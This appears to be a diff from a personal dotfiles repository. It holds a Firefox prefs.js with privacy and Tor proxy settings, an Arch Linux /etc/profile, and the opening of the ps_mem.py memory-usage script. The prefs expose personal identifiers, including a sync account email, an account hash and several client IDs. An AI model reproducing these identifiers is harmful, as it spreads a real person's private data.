user_pref("browser.newtabpage.activity-stream.feeds.snippets", false);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.migrationExpired", true);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.migrationLastShownDate", 1505865600);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.migrationRemainingDays", 3);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.prerender", false);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.showSearch", false);
|
||||||
|
user_pref("browser.newtabpage.activity-stream.showTopSites", false);
|
||||||
|
user_pref("browser.newtabpage.enabled", false);
|
||||||
|
user_pref("browser.newtabpage.enhanced", false);
|
||||||
|
user_pref("browser.newtabpage.storageVersion", 1);
|
||||||
|
user_pref("browser.onboarding.notification.finished", true);
|
||||||
|
user_pref("browser.onboarding.notification.last-time-of-changing-tour-sec", 0);
|
||||||
|
user_pref("browser.onboarding.notification.prompt-count", 0);
|
||||||
|
user_pref("browser.onboarding.notification.tour-ids-queue", "");
|
||||||
|
user_pref("browser.onboarding.seen-tourset-version", 1);
|
||||||
|
user_pref("browser.onboarding.shieldstudy.enabled", false);
|
||||||
|
user_pref("browser.onboarding.state", "watermark");
|
||||||
|
user_pref("browser.onboarding.tour-type", "update");
|
||||||
|
user_pref("browser.onboarding.tour.onboarding-tour-customize.completed", true);
|
||||||
|
user_pref("browser.onboarding.tour.onboarding-tour-library.completed", true);
|
||||||
|
user_pref("browser.onboarding.tour.onboarding-tour-performance.completed", true);
|
||||||
|
user_pref("browser.onboarding.tour.onboarding-tour-screenshots.completed", true);
|
||||||
|
user_pref("browser.onboarding.tour.onboarding-tour-singlesearch.completed", true);
|
||||||
|
user_pref("browser.onboarding.tour.onboarding-tour-sync.completed", true);
|
||||||
|
user_pref("browser.pageActions.persistedActions", "{\"version\":1,\"ids\":[\"bookmark\",\"bookmarkSeparator\",\"copyURL\",\"emailLink\",\"sendToDevice\",\"pocket\",\"screenshots\",\"webcompat-reporter-button\"],\"idsInUrlbar\":[\"bookmark\"]}");
|
||||||
|
user_pref("browser.pagethumbnails.storage_version", 3);
|
||||||
|
user_pref("browser.places.smartBookmarksVersion", 8);
|
||||||
|
user_pref("browser.preferences.advanced.selectedTabIndex", 2);
|
||||||
|
user_pref("browser.rights.3.shown", true);
|
||||||
|
user_pref("browser.safebrowsing.malware.enabled", false);
|
||||||
|
user_pref("browser.safebrowsing.phishing.enabled", false);
|
||||||
|
user_pref("browser.safebrowsing.provider.google.lastupdatetime", "1507157253442");
|
||||||
|
user_pref("browser.safebrowsing.provider.google.nextupdatetime", "1507159006442");
|
||||||
|
user_pref("browser.safebrowsing.provider.google4.lastupdatetime", "1506300076469");
|
||||||
|
user_pref("browser.safebrowsing.provider.google4.nextupdatetime", "1506301867469");
|
||||||
|
user_pref("browser.safebrowsing.provider.mozilla.lastupdatetime", "1507158301026");
|
||||||
|
user_pref("browser.safebrowsing.provider.mozilla.nextupdatetime", "1507161901026");
|
||||||
|
user_pref("browser.search.countryCode", "CO");
|
||||||
|
user_pref("browser.search.region", "CO");
|
||||||
|
user_pref("browser.search.useDBForOrder", true);
|
||||||
|
user_pref("browser.sessionstore.max_tabs_undo", 0);
|
||||||
|
user_pref("browser.sessionstore.upgradeBackup.latestBuildID", "20170928213956");
|
||||||
|
user_pref("browser.shell.checkDefaultBrowser", true);
|
||||||
|
user_pref("browser.shell.didSkipDefaultBrowserCheckOnFirstRun", true);
|
||||||
|
user_pref("browser.shell.mostRecentDateSetAsDefault", "1507140280");
|
||||||
|
user_pref("browser.slowStartup.averageTime", 11020);
|
||||||
|
user_pref("browser.slowStartup.samples", 2);
|
||||||
|
user_pref("browser.startup.homepage_override.buildID", "20170928213956");
|
||||||
|
user_pref("browser.startup.homepage_override.mstone", "56.0");
|
||||||
|
user_pref("browser.startup.page", 0);
|
||||||
|
user_pref("browser.uiCustomization.state", "{\"placements\":{\"PanelUI-contents\":[\"edit-controls\",\"zoom-controls\",\"new-window-button\",\"privatebrowsing-button\",\"save-page-button\",\"print-button\",\"history-panelmenu\",\"fullscreen-button\",\"find-button\",\"preferences-button\",\"add-ons-button\",\"developer-button\",\"sync-button\"],\"addon-bar\":[\"addonbar-closebutton\",\"status-bar\"],\"PersonalToolbar\":[\"personal-bookmarks\"],\"nav-bar\":[\"back-button\",\"forward-button\",\"stop-reload-button\",\"home-button\",\"main-button-container\",\"urlbar-container\",\"search-container\",\"downloads-button\",\"library-button\",\"bookmarks-menu-button\",\"ublock0_raymondhill_net-browser-action\",\"jid1-zadieub7xozojw_jetpack-browser-action\",\"https-everywhere_eff_org-browser-action\",\"action-button--jid1-avgcef1zovzmjajetpack-random-agent-spoofer\",\"sidebar-button\",\"firefox_ghostery_com-browser-action\",\"screenshots_mozilla_org-browser-action\",\"jid1-jo3waqdcs5kspj_jetpack-browser-action\"],\"TabsToolbar\":[\"tabbrowser-tabs\",\"new-tab-button\",\"alltabs-button\"],\"toolbar-menubar\":[\"menubar-items\"],\"widget-overflow-fixed-list\":[]},\"seen\":[\"pocket-button\",\"developer-button\",\"webide-button\",\"ublock0_raymondhill_net-browser-action\",\"jid1-zadieub7xozojw_jetpack-browser-action\",\"https-everywhere_eff_org-browser-action\",\"action-button--jid1-avgcef1zovzmjajetpack-random-agent-spoofer\",\"firefox_ghostery_com-browser-action\",\"screenshots_mozilla_org-browser-action\",\"jid1-jo3waqdcs5kspj_jetpack-browser-action\"],\"dirtyAreaCache\":[\"PersonalToolbar\",\"nav-bar\",\"TabsToolbar\",\"toolbar-menubar\",\"PanelUI-contents\",\"addon-bar\"],\"currentVersion\":6,\"newElementCount\":6}");
|
||||||
|
user_pref("browser.uidensity", 1);
|
||||||
|
user_pref("browser.urlbar.lastSuggestionsPromptDate", 20170918);
|
||||||
|
user_pref("browser.urlbar.timesBeforeHidingSuggestionsHint", 0);
|
||||||
|
user_pref("datareporting.healthreport.uploadEnabled", false);
|
||||||
|
user_pref("datareporting.policy.dataSubmissionPolicyAcceptedVersion", 2);
|
||||||
|
user_pref("datareporting.policy.dataSubmissionPolicyNotifiedTime", "1505721787525");
|
||||||
|
user_pref("devtools.theme", "dark");
|
||||||
|
user_pref("distribution.archlinux.bookmarksProcessed", true);
|
||||||
|
user_pref("dom.battery.enabled", false);
|
||||||
|
user_pref("dom.push.userAgentID", "8974be27c95546eb90836b42b6b55494");
|
||||||
|
user_pref("e10s.rollout.cohort", "optedIn");
|
||||||
|
user_pref("e10s.rollout.cohortSample", "0.755033");
|
||||||
|
user_pref("e10s.rollout.cohortSample.multi", "0.323753");
|
||||||
|
user_pref("experiments.activeExperiment", false);
|
||||||
|
user_pref("extensions.blocklist.pingCountTotal", 17);
|
||||||
|
user_pref("extensions.blocklist.pingCountVersion", 6);
|
||||||
|
user_pref("extensions.databaseSchema", 22);
|
||||||
|
user_pref("extensions.e10s.rollout.blocklist", "");
|
||||||
|
user_pref("extensions.e10s.rollout.hasAddon", true);
|
||||||
|
user_pref("extensions.e10s.rollout.policy", "50allmpc");
|
||||||
|
user_pref("extensions.e10sBlockedByAddons", false);
|
||||||
|
user_pref("extensions.e10sMultiBlockedByAddons", true);
|
||||||
|
user_pref("extensions.formautofill.firstTimeUse", false);
|
||||||
|
user_pref("extensions.getAddons.cache.lastUpdate", 1507140665);
|
||||||
|
user_pref("extensions.getAddons.databaseSchema", 5);
|
||||||
|
user_pref("extensions.hotfix.lastVersion", "20170302.01");
|
||||||
|
user_pref("extensions.https_everywhere.webextension-migrated", true);
|
||||||
|
user_pref("extensions.jid1-AVgCeF1zoVzMjA@jetpack.show_notifications", false);
|
||||||
|
user_pref("extensions.jid1-ZAdIEUB7XOzOJw@jetpack.sdk.baseURI", "resource://jid1-zadieub7xozojw-at-jetpack/");
|
||||||
|
user_pref("extensions.jid1-ZAdIEUB7XOzOJw@jetpack.sdk.domain", "jid1-zadieub7xozojw-at-jetpack");
|
||||||
|
user_pref("extensions.jid1-ZAdIEUB7XOzOJw@jetpack.sdk.load.reason", "startup");
|
||||||
|
user_pref("extensions.jid1-ZAdIEUB7XOzOJw@jetpack.sdk.rootURI", "jar:file:///home/shl/.mozilla/firefox/vnftiryi.default/extensions/jid1-ZAdIEUB7XOzOJw@jetpack.xpi!/");
|
||||||
|
user_pref("extensions.jid1-ZAdIEUB7XOzOJw@jetpack.sdk.version", "1.1.25");
|
||||||
|
user_pref("extensions.lastAppBuildId", "20170928213956");
|
||||||
|
user_pref("extensions.lastAppVersion", "56.0");
|
||||||
|
user_pref("extensions.lastPlatformVersion", "56.0");
|
||||||
|
user_pref("extensions.pendingOperations", false);
|
||||||
|
user_pref("extensions.shield-recipe-client.first_run", false);
|
||||||
|
user_pref("extensions.shield-recipe-client.startupExperimentMigrated", true);
|
||||||
|
user_pref("extensions.shield-recipe-client.user_id", "c46df8ea-8030-438c-86e0-4272369f55ad");
|
||||||
|
user_pref("extensions.systemAddonSet", "{\"schema\":1,\"addons\":{}}");
|
||||||
|
user_pref("extensions.ublock0.cloudStorage.myFiltersPane", "");
|
||||||
|
user_pref("extensions.ublock0.cloudStorage.myRulesPane", "");
|
||||||
|
user_pref("extensions.ublock0.cloudStorage.tpFiltersPane", "");
|
||||||
|
user_pref("extensions.ublock0.cloudStorage.whitelistPane", "");
|
||||||
|
user_pref("extensions.ui.dictionary.hidden", true);
|
||||||
|
user_pref("extensions.ui.experiment.hidden", true);
|
||||||
|
user_pref("extensions.ui.lastCategory", "addons://list/extension");
|
||||||
|
user_pref("extensions.ui.locale.hidden", false);
|
||||||
|
user_pref("extensions.webextensions.uuids", "{\"uBlock0@raymondhill.net\":\"cedb64b0-137f-4917-af80-5b2435cfc598\",\"jid1-ZAdIEUB7XOzOJw@jetpack\":\"3c725905-244f-472e-a5e6-35a1de23ae43\",\"https-everywhere-eff@eff.org\":\"80f6a6c2-f28b-4d84-ace9-b566137bb174\",\"screenshots@mozilla.org\":\"2436a58c-34f1-4fd3-aae5-db8aad498643\",\"firefox@ghostery.com\":\"1e03de91-782d-4977-baae-f0bcd4828fa4\"}");
|
||||||
|
user_pref("font.internaluseonly.changed", false);
|
||||||
|
user_pref("gecko.handlerService.migrated", true);
|
||||||
|
user_pref("geo.enabled", false);
|
||||||
|
user_pref("identity.fxaccounts.lastSignedInUserHash", "3whXj9U+E4rgjzmItSXanWWwjR6a1tzI4/i1u7M13Rk=");
|
||||||
|
user_pref("idle.lastDailyNotification", 1507141267);
|
||||||
|
user_pref("layout.spellcheckDefault", 0);
|
||||||
|
user_pref("lightweightThemes.persisted.footerURL", false);
|
||||||
|
user_pref("lightweightThemes.persisted.headerURL", false);
|
||||||
|
user_pref("lightweightThemes.selectedThemeID", "firefox-compact-dark@mozilla.org");
|
||||||
|
user_pref("lightweightThemes.usedThemes", "[]");
|
||||||
|
user_pref("media.eme.enabled", true);
|
||||||
|
user_pref("media.gmp-gmpopenh264.abi", "x86_64-gcc3");
|
||||||
|
user_pref("media.gmp-gmpopenh264.lastUpdate", 1505741243);
|
||||||
|
user_pref("media.gmp-gmpopenh264.version", "1.6");
|
||||||
|
user_pref("media.gmp-manager.buildID", "20170928213956");
|
||||||
|
user_pref("media.gmp-manager.lastCheck", 1507140283);
|
||||||
|
user_pref("media.gmp-widevinecdm.abi", "x86_64-gcc3");
|
||||||
|
user_pref("media.gmp-widevinecdm.lastUpdate", 1506716043);
|
||||||
|
user_pref("media.gmp-widevinecdm.version", "1.4.8.1008");
|
||||||
|
user_pref("media.gmp.storage.version.observed", 1);
|
||||||
|
user_pref("media.peerconnection.enabled", false);
|
||||||
|
user_pref("media.peerconnection.identity.timeout", 1);
|
||||||
|
user_pref("media.peerconnection.turn.disable", true);
|
||||||
|
user_pref("media.peerconnection.use_document_iceservers", false);
|
||||||
|
user_pref("media.peerconnection.video.enabled", false);
|
||||||
|
user_pref("media.webrtc.debug.log_file", "/tmp/WebRTC.log");
|
||||||
|
user_pref("network.cookie.cookieBehavior", 1);
|
||||||
|
user_pref("network.cookie.lifetimePolicy", 2);
|
||||||
|
user_pref("network.cookie.prefsMigrated", true);
|
||||||
|
user_pref("network.dns.disablePrefetch", true);
|
||||||
|
user_pref("network.http.speculative-parallel-limit", 0);
|
||||||
|
user_pref("network.predictor.cleaned-up", true);
|
||||||
|
user_pref("network.predictor.enabled", false);
|
||||||
|
user_pref("network.prefetch-next", false);
|
||||||
|
user_pref("network.proxy.no_proxies_on", "localhost, 127.0.0.1, securityhacklabs.net.co, *google.com, *googleapis.com, *twitter.com, *facebook.com, *blogger.com, *animemovil.com, *archlinux.org, *mozilla.org, *duckduckgo.com");
|
||||||
|
user_pref("network.proxy.socks", "127.0.0.1");
|
||||||
|
user_pref("network.proxy.socks_port", 9050);
|
||||||
|
user_pref("network.proxy.socks_remote_dns", true);
|
||||||
|
user_pref("pdfjs.enabledCache.initialized", true);
|
||||||
|
user_pref("pdfjs.enabledCache.state", true);
|
||||||
|
user_pref("pdfjs.migrationVersion", 2);
|
||||||
|
user_pref("pdfjs.previousHandler.alwaysAskBeforeHandling", true);
|
||||||
|
user_pref("pdfjs.previousHandler.preferredAction", 4);
|
||||||
|
user_pref("places.database.lastMaintenance", 1507040593);
|
||||||
|
user_pref("places.history.enabled", false);
|
||||||
|
user_pref("places.history.expiration.transient_current_max_pages", 46847);
|
||||||
|
user_pref("plugin.disable_full_page_plugin_for_types", "application/pdf");
|
||||||
|
user_pref("plugins.ctprollout.cohort", "user-changed-from-test");
|
||||||
|
user_pref("plugins.ctprollout.cohortSample", "0.865203");
|
||||||
|
user_pref("pref.browser.homepage.disable_button.restore_default", false);
|
||||||
|
user_pref("pref.browser.language.disable_button.remove", false);
|
||||||
|
user_pref("pref.general.disable_button.default_browser", false);
|
||||||
|
user_pref("pref.privacy.disable_button.view_passwords", false);
|
||||||
|
user_pref("privacy.clearOnShutdown.offlineApps", true);
|
||||||
|
user_pref("privacy.donottrackheader.enabled", true);
|
||||||
|
user_pref("privacy.history.custom", true);
|
||||||
|
user_pref("privacy.trackingprotection.enabled", true);
|
||||||
|
user_pref("privacy.trackingprotection.introCount", 20);
|
||||||
|
user_pref("security.disable_button.openCertManager", false);
|
||||||
|
user_pref("services.blocklist.addons.checked", 1507067543);
|
||||||
|
user_pref("services.blocklist.clock_skew_seconds", 73241);
|
||||||
|
user_pref("services.blocklist.gfx.checked", 1507067543);
|
||||||
|
user_pref("services.blocklist.last_update_seconds", 1507067543);
|
||||||
|
user_pref("services.blocklist.onecrl.checked", 1507067543);
|
||||||
|
user_pref("services.blocklist.plugins.checked", 1507067543);
|
||||||
|
user_pref("services.sync.addons.lastSync", "1507061823.63");
|
||||||
|
user_pref("services.sync.addons.lastSyncLocal", "1507158559208");
|
||||||
|
user_pref("services.sync.addons.syncID", "V10Oqr0un4xx");
|
||||||
|
user_pref("services.sync.bookmarks.lastSync", "1507151728.53");
|
||||||
|
user_pref("services.sync.bookmarks.lastSyncLocal", "1507158559179");
|
||||||
|
user_pref("services.sync.bookmarks.syncID", "ViaKrV3H-Bsp");
|
||||||
|
user_pref("services.sync.client.GUID", "UlmOl6QJZnr1");
|
||||||
|
user_pref("services.sync.client.name", "shl’s Firefox on SecHackLabs");
|
||||||
|
user_pref("services.sync.client.syncID", "UAOzAx-r4pOZ");
|
||||||
|
user_pref("services.sync.clients.devices.desktop", 1);
|
||||||
|
user_pref("services.sync.clients.devices.mobile", 1);
|
||||||
|
user_pref("services.sync.clients.lastRecordUpload", 1506919834);
|
||||||
|
user_pref("services.sync.clients.lastSync", "1507140299.14");
|
||||||
|
user_pref("services.sync.clients.lastSyncLocal", "1507158558982");
|
||||||
|
user_pref("services.sync.clients.syncID", "Tx6xcBRuhxRZ");
|
||||||
|
user_pref("services.sync.declinedEngines", "tabs,forms,history");
|
||||||
|
user_pref("services.sync.deletePwdFxA", true);
|
||||||
|
user_pref("services.sync.doctor.lastRepairAdvance", 1507140299);
|
||||||
|
user_pref("services.sync.engine.bookmarks.validation.lastTime", 1506233883);
|
||||||
|
user_pref("services.sync.engine.history", false);
|
||||||
|
user_pref("services.sync.engine.prefs.modified", false);
|
||||||
|
user_pref("services.sync.engine.tabs", false);
|
||||||
|
user_pref("services.sync.extension-storage.lastSync", "0");
|
||||||
|
user_pref("services.sync.extension-storage.lastSyncLocal", "0");
|
||||||
|
user_pref("services.sync.forms.lastSync", "0");
|
||||||
|
user_pref("services.sync.forms.lastSyncLocal", "0");
|
||||||
|
user_pref("services.sync.globalScore", 0);
|
||||||
|
user_pref("services.sync.history.lastSync", "0");
|
||||||
|
user_pref("services.sync.history.lastSyncLocal", "0");
|
||||||
|
user_pref("services.sync.identity.telemetry.lastRecordedState", "SUCCESS");
|
||||||
|
user_pref("services.sync.lastPing", 1507140298);
|
||||||
|
user_pref("services.sync.lastSync", "Wed Oct 04 2017 18:09:19 GMT-0500");
|
||||||
|
user_pref("services.sync.nextSync", 1507159159);
|
||||||
|
user_pref("services.sync.passwords.lastSync", "1507151520.85");
|
||||||
|
user_pref("services.sync.passwords.lastSyncLocal", "1507158559174");
|
||||||
|
user_pref("services.sync.passwords.syncID", "-CW1J2uyzQPq");
|
||||||
|
user_pref("services.sync.prefs.lastSync", "1507077504.47");
|
||||||
|
user_pref("services.sync.prefs.lastSyncLocal", "1507158559171");
|
||||||
|
user_pref("services.sync.prefs.sync.extensions.ublock0.cloudStorage.myFiltersPane", true);
|
||||||
|
user_pref("services.sync.prefs.sync.extensions.ublock0.cloudStorage.myRulesPane", true);
|
||||||
|
user_pref("services.sync.prefs.sync.extensions.ublock0.cloudStorage.tpFiltersPane", true);
|
||||||
|
user_pref("services.sync.prefs.sync.extensions.ublock0.cloudStorage.whitelistPane", true);
|
||||||
|
user_pref("services.sync.prefs.syncID", "veJwMqiISjjD");
|
||||||
|
user_pref("services.sync.syncInterval", 600000);
|
||||||
|
user_pref("services.sync.syncThreshold", 300);
|
||||||
|
user_pref("services.sync.tabs.lastSync", "0");
|
||||||
|
user_pref("services.sync.tabs.lastSyncLocal", "0");
|
||||||
|
user_pref("services.sync.username", "tolosaeduard@cock.li");
|
||||||
|
user_pref("signon.importedFromSqlite", true);
|
||||||
|
user_pref("storage.vacuum.last.index", 1);
|
||||||
|
user_pref("storage.vacuum.last.places.sqlite", 1505698562);
|
||||||
|
user_pref("toolkit.startup.last_success", 1507140266);
|
||||||
|
user_pref("toolkit.telemetry.cachedClientID", "1c5ed35e-7898-4f19-b77e-7668f8024dc0");
|
||||||
|
user_pref("toolkit.telemetry.previousBuildID", "20170928213956");
|
||||||
|
user_pref("toolkit.telemetry.reportingpolicy.firstRun", false);
|
||||||
|
user_pref("ui.key.menuAccessKeyFocuses", false);
|
||||||
|
user_pref("webgl.disabled", true);
|
||||||
44
profile
Normal file
44
profile
Normal file
|
|
@ -0,0 +1,44 @@
|
||||||
|
# /etc/profile
|
||||||
|
|
||||||
|
# Set our umask
|
||||||
|
umask 022
|
||||||
|
|
||||||
|
# Append our default paths
|
||||||
|
appendpath () {
|
||||||
|
case ":$PATH:" in
|
||||||
|
*:"$1":*)
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
PATH="$PATH:$1"
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
appendpath '/usr/local/sbin'
|
||||||
|
appendpath '/usr/local/bin'
|
||||||
|
appendpath '/usr/bin'
|
||||||
|
unset appendpath
|
||||||
|
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
# Load profiles from /etc/profile.d
|
||||||
|
if test -d /etc/profile.d/; then
|
||||||
|
for profile in /etc/profile.d/*.sh; do
|
||||||
|
test -r "$profile" && . "$profile"
|
||||||
|
done
|
||||||
|
unset profile
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Source global bash config
|
||||||
|
if test "$PS1" && test "$BASH" && test -z ${POSIXLY_CORRECT+x} && test -r /etc/bash.bashrc; then
|
||||||
|
. /etc/bash.bashrc
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Termcap is outdated, old, and crusty, kill it.
|
||||||
|
unset TERMCAP
|
||||||
|
|
||||||
|
# Man is much better than us at figuring this out
|
||||||
|
unset MANPATH
|
||||||
|
|
||||||
|
#set keyboard layout
|
||||||
|
setxkbmap -layout latam
|
||||||
|
conkyp &
|
||||||
620
ps_mem.py
Normal file
620
ps_mem.py
Normal file
|
|
@ -0,0 +1,620 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
# Try to determine how much RAM is currently being used per program.
|
||||||
|
# Note per _program_, not per process. So for example this script
|
||||||
|
# will report RAM used by all httpd process together. In detail it reports:
|
||||||
|
# sum(private RAM for program processes) + sum(Shared RAM for program processes)
|
||||||
|
# The shared RAM is problematic to calculate, and this script automatically
|
||||||
|
# selects the most accurate method available for your kernel.
|
||||||
|
|
||||||
|
# Licence: LGPLv2
|
||||||
|
# Author: P@draigBrady.com
|
||||||
|
# Source: http://www.pixelbeat.org/scripts/ps_mem.py
|
||||||
|
|
||||||
|
# V1.0 06 Jul 2005 Initial release
|
||||||
|
# V1.1 11 Aug 2006 root permission required for accuracy
|
||||||
|
# V1.2 08 Nov 2006 Add total to output
|
||||||
|
# Use KiB,MiB,... for units rather than K,M,...
|
||||||
|
# V1.3 22 Nov 2006 Ignore shared col from /proc/$pid/statm for
|
||||||
|
# 2.6 kernels up to and including 2.6.9.
|
||||||
|
# There it represented the total file backed extent
|
||||||
|
# V1.4 23 Nov 2006 Remove total from output as it's meaningless
|
||||||
|
# (the shared values overlap with other programs).
|
||||||
|
# Display the shared column. This extra info is
|
||||||
|
# useful, especially as it overlaps between programs.
|
||||||
|
# V1.5 26 Mar 2007 Remove redundant recursion from human()
|
||||||
|
# V1.6 05 Jun 2007 Also report number of processes with a given name.
|
||||||
|
# Patch from riccardo.murri@gmail.com
|
||||||
|
# V1.7 20 Sep 2007 Use PSS from /proc/$pid/smaps if available, which
|
||||||
|
# fixes some over-estimation and allows totalling.
|
||||||
|
# Enumerate the PIDs directly rather than using ps,
|
||||||
|
# which fixes the possible race between reading
|
||||||
|
# RSS with ps, and shared memory with this program.
|
||||||
|
# Also we can show non truncated command names.
|
||||||
|
# V1.8 28 Sep 2007 More accurate matching for stats in /proc/$pid/smaps
|
||||||
|
# as otherwise could match libraries causing a crash.
|
||||||
|
# Patch from patrice.bouchand.fedora@gmail.com
|
||||||
|
# V1.9 20 Feb 2008 Fix invalid values reported when PSS is available.
|
||||||
|
# Reported by Andrey Borzenkov <arvidjaar@mail.ru>
|
||||||
|
# V3.11 17 Sep 2017
|
||||||
|
# http://github.com/pixelb/scripts/commits/master/scripts/ps_mem.py
|
||||||
|
|
||||||
|
# Notes:
|
||||||
|
#
|
||||||
|
# All interpreted programs where the interpreter is started
|
||||||
|
# by the shell or with env, will be merged to the interpreter
|
||||||
|
# (as that's what's given to exec). For e.g. all python programs
|
||||||
|
# starting with "#!/usr/bin/env python" will be grouped under python.
|
||||||
|
# You can change this by using the full command line but that will
|
||||||
|
# have the undesirable affect of splitting up programs started with
|
||||||
|
# differing parameters (for e.g. mingetty tty[1-6]).
|
||||||
|
#
|
||||||
|
# For 2.6 kernels up to and including 2.6.13 and later 2.4 redhat kernels
|
||||||
|
# (rmap vm without smaps) it can not be accurately determined how many pages
|
||||||
|
# are shared between processes in general or within a program in our case:
|
||||||
|
# http://lkml.org/lkml/2005/7/6/250
|
||||||
|
# A warning is printed if overestimation is possible.
|
||||||
|
# In addition for 2.6 kernels up to 2.6.9 inclusive, the shared
|
||||||
|
# value in /proc/$pid/statm is the total file-backed extent of a process.
|
||||||
|
# We ignore that, introducing more overestimation, again printing a warning.
|
||||||
|
# Since kernel 2.6.23-rc8-mm1 PSS is available in smaps, which allows
|
||||||
|
# us to calculate a more accurate value for the total RAM used by programs.
|
||||||
|
#
|
||||||
|
# Programs that use CLONE_VM without CLONE_THREAD are discounted by assuming
|
||||||
|
# they're the only programs that have the same /proc/$PID/smaps file for
|
||||||
|
# each instance. This will fail if there are multiple real instances of a
|
||||||
|
# program that then use CLONE_VM without CLONE_THREAD, or if a clone changes
|
||||||
|
# its memory map while we're checksumming each /proc/$PID/smaps.
|
||||||
|
#
|
||||||
|
# I don't take account of memory allocated for a program
|
||||||
|
# by other programs. For e.g. memory used in the X server for
|
||||||
|
# a program could be determined, but is not.
|
||||||
|
#
|
||||||
|
# FreeBSD is supported if linprocfs is mounted at /compat/linux/proc/
|
||||||
|
# FreeBSD 8.0 supports up to a level of Linux 2.6.16
|
||||||
|
|
||||||
|
import getopt
|
||||||
|
import time
|
||||||
|
import errno
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# The following exits cleanly on Ctrl-C or EPIPE
|
||||||
|
# while treating other exceptions as before.
|
||||||
|
def std_exceptions(etype, value, tb):
|
||||||
|
sys.excepthook = sys.__excepthook__
|
||||||
|
if issubclass(etype, KeyboardInterrupt):
|
||||||
|
pass
|
||||||
|
elif issubclass(etype, IOError) and value.errno == errno.EPIPE:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
sys.__excepthook__(etype, value, tb)
|
||||||
|
sys.excepthook = std_exceptions
|
||||||
|
|
||||||
|
#
|
||||||
|
# Define some global variables
|
||||||
|
#
|
||||||
|
|
||||||
|
PAGESIZE = os.sysconf("SC_PAGE_SIZE") / 1024 #KiB
|
||||||
|
our_pid = os.getpid()
|
||||||
|
|
||||||
|
have_pss = 0
|
||||||
|
have_swap_pss = 0
|
||||||
|
|
||||||
|
class Proc:
|
||||||
|
def __init__(self):
|
||||||
|
uname = os.uname()
|
||||||
|
if uname[0] == "FreeBSD":
|
||||||
|
self.proc = '/compat/linux/proc'
|
||||||
|
else:
|
||||||
|
self.proc = '/proc'
|
||||||
|
|
||||||
|
def path(self, *args):
|
||||||
|
return os.path.join(self.proc, *(str(a) for a in args))
|
||||||
|
|
||||||
|
def open(self, *args):
|
||||||
|
try:
|
||||||
|
if sys.version_info < (3,):
|
||||||
|
return open(self.path(*args))
|
||||||
|
else:
|
||||||
|
return open(self.path(*args), errors='ignore')
|
||||||
|
except (IOError, OSError):
|
||||||
|
val = sys.exc_info()[1]
|
||||||
|
if (val.errno == errno.ENOENT or # kernel thread or process gone
|
||||||
|
val.errno == errno.EPERM or
|
||||||
|
val.errno == errno.EACCES):
|
||||||
|
raise LookupError
|
||||||
|
raise
|
||||||
|
|
||||||
|
proc = Proc()
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Functions
|
||||||
|
#
|
||||||
|
|
||||||
|
def parse_options():
|
||||||
|
try:
|
||||||
|
long_options = [
|
||||||
|
'split-args',
|
||||||
|
'help',
|
||||||
|
'total',
|
||||||
|
'discriminate-by-pid',
|
||||||
|
'swap'
|
||||||
|
]
|
||||||
|
opts, args = getopt.getopt(sys.argv[1:], "shtdSp:w:", long_options)
|
||||||
|
except getopt.GetoptError:
|
||||||
|
sys.stderr.write(help())
|
||||||
|
sys.exit(3)
|
||||||
|
|
||||||
|
if len(args):
|
||||||
|
sys.stderr.write("Extraneous arguments: %s\n" % args)
|
||||||
|
sys.exit(3)
|
||||||
|
|
||||||
|
# ps_mem.py options
|
||||||
|
split_args = False
|
||||||
|
pids_to_show = None
|
||||||
|
discriminate_by_pid = False
|
||||||
|
show_swap = False
|
||||||
|
watch = None
|
||||||
|
only_total = False
|
||||||
|
|
||||||
|
for o, a in opts:
|
||||||
|
if o in ('-s', '--split-args'):
|
||||||
|
split_args = True
|
||||||
|
if o in ('-t', '--total'):
|
||||||
|
only_total = True
|
||||||
|
if o in ('-d', '--discriminate-by-pid'):
|
||||||
|
discriminate_by_pid = True
|
||||||
|
if o in ('-S', '--swap'):
|
||||||
|
show_swap = True
|
||||||
|
if o in ('-h', '--help'):
|
||||||
|
sys.stdout.write(help())
|
||||||
|
sys.exit(0)
|
||||||
|
if o in ('-p',):
|
||||||
|
try:
|
||||||
|
pids_to_show = [int(x) for x in a.split(',')]
|
||||||
|
except:
|
||||||
|
sys.stderr.write(help())
|
||||||
|
sys.exit(3)
|
||||||
|
if o in ('-w',):
|
||||||
|
try:
|
||||||
|
watch = int(a)
|
||||||
|
except:
|
||||||
|
sys.stderr.write(help())
|
||||||
|
sys.exit(3)
|
||||||
|
|
||||||
|
return (
|
||||||
|
split_args,
|
||||||
|
pids_to_show,
|
||||||
|
watch,
|
||||||
|
only_total,
|
||||||
|
discriminate_by_pid,
|
||||||
|
show_swap
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def help():
|
||||||
|
help_msg = 'Usage: ps_mem [OPTION]...\n' \
|
||||||
|
'Show program core memory usage\n' \
|
||||||
|
'\n' \
|
||||||
|
' -h, -help Show this help\n' \
|
||||||
|
' -p <pid>[,pid2,...pidN] Only show memory usage PIDs in the '\
|
||||||
|
'specified list\n' \
|
||||||
|
' -s, --split-args Show and separate by, all command line'\
|
||||||
|
' arguments\n' \
|
||||||
|
' -t, --total Show only the total value\n' \
|
||||||
|
' -d, --discriminate-by-pid Show by process rather than by program\n' \
|
||||||
|
' -S, --swap Show swap information\n' \
|
||||||
|
' -w <N> Measure and show process memory every'\
|
||||||
|
' N seconds\n'
|
||||||
|
|
||||||
|
return help_msg
|
||||||
|
|
||||||
|
|
||||||
|
# (major,minor,release)
|
||||||
|
def kernel_ver():
|
||||||
|
kv = proc.open('sys/kernel/osrelease').readline().split(".")[:3]
|
||||||
|
last = len(kv)
|
||||||
|
if last == 2:
|
||||||
|
kv.append('0')
|
||||||
|
last -= 1
|
||||||
|
while last > 0:
|
||||||
|
for char in "-_":
|
||||||
|
kv[last] = kv[last].split(char)[0]
|
||||||
|
try:
|
||||||
|
int(kv[last])
|
||||||
|
except:
|
||||||
|
kv[last] = 0
|
||||||
|
last -= 1
|
||||||
|
